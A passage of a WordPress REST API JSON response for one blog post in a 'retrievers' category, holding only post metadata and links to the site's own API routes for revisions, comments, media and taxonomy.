[&hellip;]<\/p>\n","protected":false},"author":2,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[109],"tags":[],"class_list":["post-2825","post","type-post","status-publish","format-standard","hentry","category-retrievers"],"jetpack_featured_media_url":"","_links":{"self":[{"href":"https:\/\/ranoomhs.com\/index.php?rest_route=\/wp\/v2\/posts\/2825","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/ranoomhs.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/ranoomhs.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/ranoomhs.com\/index.php?rest_route=\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/ranoomhs.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=2825"}],"version-history":[{"count":1,"href":"https:\/\/ranoomhs.com\/index.php?rest_route=\/wp\/v2\/posts\/2825\/revisions"}],"predecessor-version":[{"id":2826,"href":"https:\/\/ranoomhs.com\/index.php?rest_route=\/wp\/v2\/posts\/2825\/revisions\/2826"}],"wp:attachment":[{"href":"https:\/\/ranoomhs.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=2825"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/ranoomhs.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=2825"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/ranoomhs.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=2825"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}